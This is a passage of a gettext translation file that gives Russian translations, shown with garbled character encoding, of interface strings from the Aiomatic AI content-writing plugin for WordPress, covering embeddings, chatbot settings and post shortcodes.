res/aiomatic-automation-list.php:1550 #: res/aiomatic-automation-list.php:3128 res/aiomatic-automation-list.php:4017 #: res/aiomatic-automation-list.php:5881 res/aiomatic-automation-list.php:6774 #: res/aiomatic-csv-list.php:375 res/aiomatic-csv-list.php:1508 #: res/aiomatic-review-list.php:1995 res/aiomatic-review-list.php:4658 #: res/aiomatic-rules-list.php:2124 res/aiomatic-rules-list.php:4894 #: res/aiomatic-youtube-list.php:1897 res/aiomatic-youtube-list.php:4433 msgid "Draft -> Moderate" msgstr "Черновик -> МодерациÑ" #: res/aiomatic-main.php:5765 msgid "Draft Posts First, And Publish Them Afterwards:" msgstr "Сначала Ñоздайте Черновики ПоÑтов, а затем Опубликуйте их:" #: res/aiomatic-spinner-list.php:3927 msgid "Drafted" msgstr "Созданы в черновике" #: res/aiomatic-assistants.php:213 res/aiomatic-automation-list.php:2396 #: res/aiomatic-chatbot.php:2333 res/aiomatic-shortcodes.php:552 msgid "Duplicate" msgstr "Дубликат" #: res/aiomatic-spinner-list.php:4315 msgid "Duplicate Checking Custom Field Name (Optional):" msgstr "Дублировать проверку Имени ÐаÑтраиваемого ÐŸÐ¾Ð»Ñ (необÑзательно):" #: res/aiomatic-amazon-list.php:2153 res/aiomatic-amazon-list.php:4848 #: res/aiomatic-automation-list.php:4716 res/aiomatic-automation-list.php:7541 #: res/aiomatic-csv-list.php:700 res/aiomatic-csv-list.php:1952 #: res/aiomatic-review-list.php:2222 res/aiomatic-review-list.php:5001 #: res/aiomatic-rules-list.php:2351 res/aiomatic-rules-list.php:5238 #: res/aiomatic-youtube-list.php:2124 res/aiomatic-youtube-list.php:4776 msgid "Duplicate This Rule" msgstr "Дублировать Ñто правило" #: res/aiomatic-amazon-list.php:21 res/aiomatic-main.php:8573 #: res/aiomatic-review-list.php:21 res/aiomatic-rules-list.php:21 #: res/aiomatic-single-list.php:21 res/aiomatic-single-list.php:159 #: res/aiomatic-youtube-list.php:21 msgid "Dutch" msgstr "ГолландÑкий" #: res/aiomatic-languages.php:17 msgid "Dutch (Google Translate)" msgstr "ГолландÑкий (переводчик Google)" #: res/aiomatic-assistants.php:214 res/aiomatic-automation-list.php:2397 #: res/aiomatic-chatbot.php:2332 res/aiomatic-shortcodes.php:551 msgid "Edit" msgstr "Редактировать" #: res/aiomatic-assistants.php:521 msgid "Edit Assistant" msgstr "Редактировать ÐÑÑиÑтента" #: res/aiomatic-single-list.php:281 msgid "Edit Created Post" msgstr "Редактировать Ñозданное ПоÑÑ‚" #: res/aiomatic-automation-list.php:103 msgid "Edit OmniBlock Template" msgstr "Редактировать шаблон OmniBlock" #: aiomatic-automatic-ai-content-writer.php:15398 msgid "Edit Post Source" msgstr "Изменить иÑточник ПоÑÑ‚Ñ‹" #: aiomatic-automatic-ai-content-writer.php:1794 msgid "Edit/Add AI Content!" msgstr "Редактировать/добавлÑÑ‚ÑŒ AI-Контент!" #: res/aiomatic-spinner-list.php:36 msgid "Editing Templates and Options" msgstr "Редактирование шаблонов и параметров" #: res/aiomatic-main.php:8496 msgid "Editor's Choice: " msgstr "Выбор редактора: " #: res/aiomatic-limits-statistics.php:926 #: res/aiomatic-limits-statistics.php:1220 msgid "Editors & Admins" msgstr "Редакторы и админиÑтраторы" #: res/aiomatic-main.php:8359 res/aiomatic-main.php:8878 msgid "Education" msgstr "Образование" #: aiomatic-helpers.php:1494 msgid "Egypt" msgstr "Египт" #: res/aiomatic-main.php:2151 msgid "ElevenLabs Text-to-Speech API:" msgstr "API Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь ElevenLabs:" #: res/aiomatic-main.php:2162 msgid "ElevenLabs.io" msgstr "ElevenLabs.io" #: res/aiomatic-main.php:7860 msgid "Eligible Images Rank At Most At Position: " msgstr "ПодходÑщие Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð¼ÐµÑŽÑ‚ ÐаивыÑший Рейтинг:" #: res/aiomatic-shortcodes.php:62 msgid "Email" msgstr "Email" #: res/aiomatic-main.php:5843 msgid "Email Address:" msgstr "Email адреÑ:" #: aiomatic-automation.php:685 msgid "Email Content" msgstr "Контент Ñлектронной почты" #: aiomatic-automation.php:692 msgid "Email Recipient Address" msgstr "ÐÐ´Ñ€ÐµÑ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ Ñлектронной почты" #: aiomatic-automation.php:678 msgid "Email Subject" msgstr "Тема пиÑьма" #: res/aiomatic-main.php:3964 msgid "Embedded YouTube Player Settings:" msgstr "ÐаÑтройки Ð’Ñтроенного ÐŸÑ€Ð¾Ð¸Ð³Ñ€Ñ‹Ð²Ð°Ñ‚ÐµÐ»Ñ YouTube:" #: res/aiomatic-main.php:6956 msgid "Embedding Content Rewriter Model:" msgstr "Внедрение Модели Рерайтинга Контента:" #: res/aiomatic-main.php:6892 #, php-format msgid "Embedding Content Rewriter Prompt (%%post_content%%):" msgstr "Внедрение Промпта Рерайтинга Контента (%%post_content%%):" #: aiomatic-automatic-ai-content-writer.php:15575 msgid "Embedding draft updated." msgstr "Обновлен черновик вÑтраиваниÑ." #: aiomatic-automatic-ai-content-writer.php:15571 msgid "Embedding published." msgstr "Ð’Ñтраивание опубликовано." #: aiomatic-automatic-ai-content-writer.php:15570 #, php-format msgid "Embedding restored to revision from %s" msgstr "Ð’Ñтраивание воÑÑтановлено до верÑAI %s" #: res/aiomatic-embeddings.php:65 msgid "Embedding saved successfully" msgstr "Ð’Ñтраивание уÑпешно Ñохранено" #: aiomatic-automatic-ai-content-writer.php:15572 msgid "Embedding saved." msgstr "Ð’Ñтраивание Ñохранено." #: aiomatic-automatic-ai-content-writer.php:15574 #, php-format msgid "Embedding scheduled for: %1$s." msgstr "Ð’Ñтраивание запланировано на: %1$s ." #: aiomatic-automatic-ai-content-writer.php:15573 msgid "Embedding submitted." msgstr "Ð’Ñтраивание отправлено." #: aiomatic-automatic-ai-content-writer.php:15566 #: aiomatic-automatic-ai-content-writer.php:15569 msgid "Embedding updated." msgstr "Ð’Ñтраивание обновлено." #: res/aiomatic-embeddings.php:33 res/aiomatic-main.php:25 #: res/aiomatic-training.php:56 msgid "Embeddings" msgstr "Ð’ÑтраиваниÑ" #: res/aiomatic-main.php:2104 msgid "Embeddings API Options:" msgstr "Параметры API Embeddings:" #: res/aiomatic-embeddings.php:45 msgid "" "Embeddings are a way to send to the AI content writer a set o pre-trained " "data, to give it more context about the question or prompt which was " "submitted to it, for which a response is awaited. These embeddings can help " "the model better understand language and the requirements sent in the prompt." msgstr "" "Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ â€” Ñто ÑпоÑоб отправить AI Создателю Контента набор " "предварительно обученных данных, чтобы дать ему больше контекÑта в отношении " "вопроÑа или промпта, который был отправлен ему, и на который ожидаетÑÑ Ð¾Ñ‚Ð²ÐµÑ‚." " Эти вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ помочь модели лучше понÑÑ‚ÑŒ Ñзык и требованиÑ, " "отправленные в промпте." #: aiomatic-automation.php:577 msgid "Embeddings Input" msgstr "Ввод вÑтраиваний" #: res/aiomatic-main.php:6667 msgid "Embeddings Model:" msgstr "Модель вÑтраиваниÑ:" #: aiomatic-automation.php:568 msgid "Embeddings Result" msgstr "Результат вÑтраиваниÑ" #: aiomatic-automatic-ai-content-writer.php:4811 msgid "Empty API key provided!" msgstr "ПредоÑтавлен пуÑтой ключ API!" #: aiomatic-streaming.php:167 msgid "Empty API seed expression provided (after processing)" msgstr "ПуÑтое начальное выражение API (поÑле обработки)" #: aiomatic-automatic-ai-content-writer.php:8266 msgid "Empty prompt added to image generator" msgstr "Ð’ генератор изображений добавлен пуÑтой Промпт" #: res/aiomatic-limits-statistics.php:586 msgid "Empty results." msgstr "ПуÑтые результаты." #: aiomatic-automation.php:1194 msgid "en" msgstr "ÐнглийÑкий" #: res/aiomatic-main.php:4415 msgid "Enable 'Featured Image from URL' Integration:" msgstr "Включите интеграцию «Избранное изображение из URL»:" #: res/aiomatic-spinner-list.php:917 msgid "Enable AI Content Rewriting:" msgstr "Включить перезапиÑÑŒ Контента AI:" #: res/aiomatic-spinner-list.php:874 msgid "" "Enable AI Content Rewriting: This will enable the editing and rewriting of " "the content." msgstr "" "Включить перезапиÑÑŒ Контента AI: Ñто позволит редактировать и перезапиÑывать " "Контент." #: res/aiomatic-main.php:7206 msgid "Enable AI internet access for the following features of the plugin." msgstr "Включите доÑтуп AI в Интернет Ð´Ð»Ñ Ñледующих функций Плагина." #: res/aiomatic-main.php:7210 msgid "Enable AI Internet Access For:" msgstr "Включить доÑтуп в Интернет Ð´Ð»Ñ AI длÑ:" #: res/aiomatic-spinner-list.php:1019 res/aiomatic-spinner-list.php:1738 #: res/aiomatic-spinner-list.php:2339 res/aiomatic-spinner-list.php:2514 #: res/aiomatic-spinner-list.php:2687 res/aiomatic-spinner-list.php:2905 msgid "Enable AI Vision:" msgstr "Включить AI Vision:" #: res/aiomatic-main.php:4133 msgid "Enable Aiomatic WP-CLI Integration:" msgstr "Включите интеграцию Aiomatic WP-CLI:" #: res/aiomatic-main.php:5363 msgid "Enable Automatic Processing Of All Newly Added Taxonomies For:" msgstr "" "Включить автоматичеÑкую обработку вÑех Ðедавно Добавленных ТакÑономий длÑ:" #: res/aiomatic-main.php:7991 msgid "Enable broad image search: " msgstr "Включить широкий поиÑк изображений: " #: res/aiomatic-chatbot.php:4272 msgid "Enable Chatbot Embedding On Remote Sites:" msgstr "Включите Ð’Ñтраивание Чат-бота на Отдаленные Сайты:" #: res/aiomatic-chatbot.php:1452 msgid "Enable Chatbot God Mode (Warning! Experimental!):" msgstr "Включите режим Бога Чат-бота (Внимание! ЭкÑпериментально!):" #: res/aiomatic-chatbot.php:4051 msgid "Enable Chatbot HTML Responses:" msgstr "Включите HTML-ответы Чат-бота:" #: res/aiomatic-chatbot.php:1297 res/aiomatic-chatbot.php:4012 msgid "Enable Chatbot Instant Responses:" msgstr "Включить мгновенные ответы чат-бота:" #: res/aiomatic-chatbot.php:1473 res/aiomatic-chatbot.php:2706 msgid "Enable Chatbot Text-to-Speech/Video:" msgstr "Включить Преобразование ТекÑта в Речь/Видео Чат-бота:" #: res/aiomatic-chatbot.php:976 res/aiomatic-chatbot.php:4425 msgid "Enable Chatbot Vision:" msgstr "Включить поÑвление чат-бота:" #: res/aiomatic-chatbot.php:4147 msgid "Enable Chatbot Voice Input:" msgstr "Включить ГолоÑовой Ввод Чат-бота:" #: aiomatic-automation.php:1159 msgid "Enable Comments" msgstr "Включить комментарии" #: res/aiomatic-amazon-list.php:4624 res/aiomatic-csv-list.php:1644 #: res/aiomatic-review-list.php:4777 res/aiomatic-rules-list.php:5013 #: res/aiomatic-youtube-list.php:4552 msgid "Enable Comments For Posts" msgstr "Включить комментарAI Ð´Ð»Ñ ÐŸÐ¾Ñтов" #: res/aiomatic-amazon-list.php:2016 res/aiomatic-csv-list.php:480 #: res/aiomatic-review-list.php:2085 res/aiomatic-rules-list.php:2214 #: res/aiomatic-youtube-list.php:1987 msgid "Enable Comments For Posts:" msgstr "Включить комментарAI Ð´Ð»Ñ ÐŸÐ¾Ñтов:" #: res/aiomatic-spinner-list.php:2960 msgid "Enable Content Text-to-Speech/Video:" msgstr "Включить преобразование текÑта в речь/видео:" #: res/aiomatic-main.php:3075 msgid "Enable Content Wizard Also For Not Logged In Users:" msgstr "" "Включите маÑтер контента также Ð´Ð»Ñ Ð½Ðµ вошедших в ÑиÑтему пользователей:" #: res/aiomatic-main.php:3035 msgid "Enable Content Wizard On:" msgstr "Включить маÑтер контента:" #: res/aiomatic-main.php:7350 msgid "Enable Detailed Logging for Rules:" msgstr "Включить подробное ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»:" #: res/aiomatic-main.php:6822 msgid "Enable Embeddings Auto Indexing For Newly Published:" msgstr "" "Включить ÐвтоматичеÑкое ИндекÑирование Ð’Ñтраиваний Ð´Ð»Ñ Ðедавно " "Опубликованных:" #: res/aiomatic-main.php:6704 msgid "Enable embeddings for which parts of the plugin." msgstr "Включите вÑтраивание Ð´Ð»Ñ ÐºÐ°ÐºÐ¸Ñ… либо чаÑтей плагина." #: res/aiomatic-main.php:6708 msgid "Enable Embeddings For:" msgstr "Включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ:" #: res/aiomatic-spinner-list.php:1351 #| msgid "Enable Featured Image Assignation:" msgid "Enable Featured Image Creation:" msgstr "Включить Создание Избранных изображений:" #: res/aiomatic-spinner-list.php:876 #| msgid "" #| "Enable Featured Image Assignation: This will automatically assign a " #| "featured image to the published content." msgid "" "Enable Featured Image Creation: This will automatically assign a featured " "image to the published content." msgstr "" "Включите функцию ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹: Это позволит автоматичеÑки " "приÑваивать опубликованному контенту тематичеÑкое изображение." #: res/aiomatic-spinner-list.php:1529 msgid "Enable Featured Image Editing:" msgstr "Включить Редактирование Рекомендуемых Изображений:" #: res/aiomatic-spinner-list.php:878 msgid "" "Enable Featured Image Editing: This will automatically edit the current " "featured image of the post, based on a predefined prompt." msgstr "" "Включить Редактирование Выбранных Изображений: Ñто позволит автоматичеÑки " "редактировать Текущее Выбранное Изображение ПоÑта на оÑнове " "предопределенного Промпта." #: res/aiomatic-amazon-list.php:3120 msgid "Enable First-Hand Experience" msgstr "Включите Личный Опыт" #: res/aiomatic-amazon-list.php:523 res/aiomatic-single-list.php:4731 msgid "Enable First-Hand Experience:" msgstr "Включите Личный Опыт:" #: res/aiomatic-chatbot.php:2523 msgid "Enable Function Calling In The Chabot Preview From Below:" msgstr "Включите Вызов Функций в Предварительном ПроÑмотре Chabot Ñнизу:" #: res/aiomatic-chatbot.php:2542 msgid "Enable Function Calling In The Globally Injected Chatbot:" msgstr "Включите Вызов Функций в Глобально Ð’Ñтроенном Чат-боте:" #: res/aiomatic-limits-statistics.php:1068 msgid "Enable Global Usage Limits:" msgstr "Включить глобальные Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ÑпользованиÑ:" #: res/aiomatic-main.php:8674 msgid "Enable Google Images Search Usage: " msgstr "Включить иÑпользование поиÑка картинок Google:" #: res/aiomatic-main.php:7331 msgid "Enable Logging for Rules:" msgstr "Включить ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»:" #: res/aiomatic-chatbot.php:4089 msgid "Enable Message Copying By Clicking It:" msgstr "Включите копирование ПоÑтов, нажав на него:" #: res/aiomatic-main.php:2497 msgid "Enable OmniBlocks Webhook Functionality:" msgstr "Включите функциональноÑÑ‚ÑŒ OmniBlocks Webhook:" #: res/aiomatic-spinner-list.php:3879 msgid "" "Enable or disable automatic post modifications every time you publish a new " "post (manually or automatically)." msgstr "" "Включите или отключите автоматичеÑкое редактирование ПоÑтов каждый раз, " "когда вы публикуете новый ПоÑÑ‚ (вручную или автоматичеÑки)." #: res/aiomatic-main.php:1638 msgid "Enable or disable this plugin. This acts like a main switch." msgstr "" "Включить или отключить Ñтот Плагин. Это дейÑтвует как главный выключатель." #: res/aiomatic-chatbot.php:4753 msgid "Enable Persistent Chat Also For Not Logged In Users:" msgstr "Включите СохранÑемый Чат также Ð´Ð»Ñ ÐезарегиÑтрированных Пользователей:" #: res/aiomatic-amazon-list.php:4640 res/aiomatic-csv-list.php:1660 #: res/aiomatic-review-list.php:4793 res/aiomatic-rules-list.php:5029 #: res/aiomatic-youtube-list.php:4568 msgid "Enable Pingback/Trackback" msgstr "Включить Pingback / Trackback" #: res/aiomatic-amazon-list.php:2031 res/aiomatic-csv-list.php:495 #: res/aiomatic-review-list.php:2100 res/aiomatic-rules-list.php:2229 #: res/aiomatic-youtube-list.php:2002 msgid "Enable Pingback/Trackback:" msgstr "Включить Pingback / Trackback:" #: aiomatic-automation.php:1165 msgid "Enable Pingbacks/Trackbacks" msgstr "Включить Pingbacks/Trackbacks" #: res/aiomatic-main.php:8728 msgid "Enable Pixabay Direct Website Scraping: " msgstr "Включить прÑмую очиÑтку Ñайта Pixabay: " #: res/aiomatic-spinner-list.php:1253 msgid "Enable Post Content Image Editing:" msgstr "Включить Редактирование Изображений Контента ПоÑта:" #: res/aiomatic-main.php:5234 msgid "Enable SEO Meta Description Writing:" msgstr "Включить Создание Мета-опиÑÐ°Ð½Ð¸Ñ SEO:" #: res/aiomatic-main.php:6187 msgid "Enable Spinner For:" msgstr "Включить Spinner длÑ:" #: res/aiomatic-main.php:7582 msgid "Enable Swear Word Filtering:" msgstr "Включить фильтрацию нецензурных Ñлов:" #: res/aiomatic-limits-statistics.php:796 msgid "Enable Text-to-Speech Usage Limits:" msgstr "Включить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование ÐŸÑ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¢ÐµÐºÑта в Речь:" #: res/aiomatic-main.php:6226 msgid "Enable The Best Spinner Humanize AI Usage:" msgstr "Включите лучшее иÑпользование Spinner Humanize AI:" #: res/aiomatic-chatbot.php:2640 msgid "" "Enable the ChatBot To Send Emails. Users will be able to ask the chatbot to " "send emails by providing the recipient, email subject and email content. The " "plugin will instruct the chatbot to return the content of the email in a " "specific format, which it will parse and send the email in the chatbot's " "name." msgstr "" "Включите Чат-бота Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ Emails. Пользователи Ñмогут попроÑить Чат-" "бота отправить Ñлектронное пиÑьмо, указав получателÑ, тему и Ñодержание " "Emails. Плагин даÑÑ‚ указание Чат-боту вернуть Контент Emails в определенном " "формате, который он проанализирует и отправит Emails от имени Чат-бота." #: res/aiomatic-chatbot.php:2644 msgid "Enable The ChatBot To Send Emails:" msgstr "Включите ChatBot Ð´Ð»Ñ ÐžÑ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ Emails:" #: res/aiomatic-main.php:8701 msgid "Enable Unsplash API Usage: " msgstr "Включить иÑпользование API Unsplash: " #: res/aiomatic-main.php:3012 msgid "Enable Usage Tracking For Statistics And Usage Limits:" msgstr "" "Включить отÑлеживание иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑтатиÑтики и лимитов иÑпользованиÑ:" #: res/aiomatic-chatbot.php:3947 msgid "Enable User Message Moderation:" msgstr "Включить модерацию ПоÑтов пользователей:" #: res/aiomatic-chatbot.php:2088 msgid "Enable Users To Upload PDF Files To The Chatbot:" msgstr "Разрешить ПользователÑм загружать PDF-файлы в Чат-бот:" #: aiomatic-ajax-actions.php:8114 res/aiomatic-main.php:3088 #: res/aiomatic-shortcodes.php:306 res/aiomatic-spinner-list.php:926 #: res/aiomatic-spinner-list.php:1262 res/aiomatic-spinner-list.php:1360 #: res/aiomatic-spinner-list.php:1538 res/aiomatic-spinner-list.php:2073 #: res/aiomatic-spinner-list.php:2199 res/aiomatic-spinner-list.php:2374 #: res/aiomatic-spinner-list.php:2548 res/aiomatic-spinner-list.php:2799 msgid "Enabled" msgstr "Включено" #: res/aiomatic-spinner-list.php:3875 msgid "Enabled Posts Automatic Editing:" msgstr "Включить ÐвтоматичеÑкое Редактирование ПоÑтов:" #: res/aiomatic-more.php:31 msgid "" "Engaging with your audience is crucial, and Aiomatic makes it easier with " "the Comment Replier feature. This handy tool uses AI algorithms to analyze " "and understand comments on your website, providing you with suggested " "responses. You can quickly reply to comments, foster meaningful " "conversations, and provide better user engagement, all with the help of AI." msgstr "" "ВзаимодейÑтвие Ñ Ð²Ð°ÑˆÐµÐ¹ аудиторией имеет решающее значение, и Aiomatic " "упрощает его Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ функции «Ответ на Комментарий». Этот удобный " "инÑтрумент иÑпользует алгоритмы иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° и " "Ð¿Ð¾Ð½Ð¸Ð¼Ð°Ð½Ð¸Ñ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ² на вашем веб-Ñайте, предоÑтавлÑÑ Ð²Ð°Ð¼ рекомендуемые " "ответы. Ð’Ñ‹ можете быÑтро отвечать на комментарии, веÑти Ñодержательные " "разговоры и повышать вовлеченноÑÑ‚ÑŒ пользователей — и вÑе Ñто Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI." #: res/aiomatic-amazon-list.php:5 res/aiomatic-main.php:8528 #: res/aiomatic-review-list.php:5 res/aiomatic-rules-list.php:5 #: res/aiomatic-single-list.php:5 res/aiomatic-single-list.php:143 #: res/aiomatic-youtube-list.php:5 msgid "English" msgstr "ÐнглийÑкий" #: res/aiomatic-languages.php:18 msgid "English (Google Translate)" msgstr "ÐнглийÑкий (переводчик Google)" #: res/aiomatic-main.php:2786 msgid "enhance" msgstr "уÑилить" #: res/aiomatic-more.php:53 msgid "" "Enjoy exploring Aiomatic's hidden features and maximizing the potential of " "your WordPress website!" msgstr "" "ÐаÑлаждайтеÑÑŒ изучением Скрытых Функций Aiomatic и макÑимизируйте потенциал " "Ñвоего веб-Ñайта WordPress!" #: aiomatic-automation.php:1195 res/aiomatic-amazon-list.php:2088 #: res/aiomatic-amazon-list.php:4686 res/aiomatic-csv-list.php:552 #: res/aiomatic-csv-list.php:1706 res/aiomatic-review-list.php:2157 #: res/aiomatic-review-list.php:4839 res/aiomatic-rules-list.php:2286 #: res/aiomatic-rules-list.php:5075 res/aiomatic-youtube-list.php:2059 #: res/aiomatic-youtube-list.php:4614 msgid "" "Enter a 2 letter language code that will be assigned as the WPML/Polylang " "language for posts. Example: for German, input: de" msgstr "" "Введите двухбуквенный код Ñзыка, который будет иÑпользоватьÑÑ Ð² качеÑтве " "Ñзыка WPML / Polylang Ð´Ð»Ñ ÐŸÐ¾Ñтов. Пример: Ð´Ð»Ñ Ð½ÐµÐ¼ÐµÑ†ÐºÐ¾Ð³Ð¾ введите: de" #: res/aiomatic-review-list.php:4492 #| msgid "" #| "Prompt to be used for the Content of the article, which will be applied " #| "to each section heading generated by the plugin (or entered manually) or " #| "to the entire content (depending how you select using the 'Use the Above " #| "Content Prompt To Create The Entire Article' checkbox). You can use the " #| "following shortcodes: %%all_product_titles%%, %%product_description%%, " #| "%%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, " #| "%%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, " #| "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " #| "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " #| "%%product_imgs_html%%, %%price_with_discount_fixed%%, " #| "%%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, " #| "%%writing_tone%%, %%sections%%, %%current_section%%, " #| "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, " "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, " "в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%custom_html%%, %%custom_html2%%, %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° — пример:" " %%random_video[ключевое Ñлово][60]%% — видео поÑвитÑÑ Ð² 60 % Ñлучаев, в " "оÑтальных 40% шорткод ничего не вернет. Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:4728 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, " "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите текÑÑ‚ HTML, который должен быть добавлен к Ñодержимому, " "Ñгенерированному AI, в каждом Ñозданном ПоÑте. Ð’Ñ‹ можете иÑпользовать " "Ñледующие Шорткоды: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, " "%%random_sentence2%%, %%random_image[ключевое Ñлово]%%, " "%%random_image_url[ключевое Ñлово]%%, % %random_video[ключевое Ñлово]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в Шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет — пример: " "%%random_video[ключевое Ñлово] [60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в " "оÑтальных 40% Шорткод ничего не вернет - Обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды генерируютÑÑ Ð¿Ð¾ правилам из других Плагинов). " "Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в " "функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто " "позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным " "интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-amazon-list.php:4339 #| msgid "" #| "Enter a HTML text that should be prepended to the AI generated content in " #| "each created post. You can use the following shortcodes: %%custom_html%%, " #| "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " #| "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%, " #| "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " #| "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can " #| "also use an optional parameter in the random_image and random_video " #| "shortcodes, which will add a percentage chance for the media to appear or " #| "not - example: %%random_video[keyword][60]%% - a video will appear in 60% " #| "of cases, in the rest of 40%, nothing will be returned by the shortcode - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature 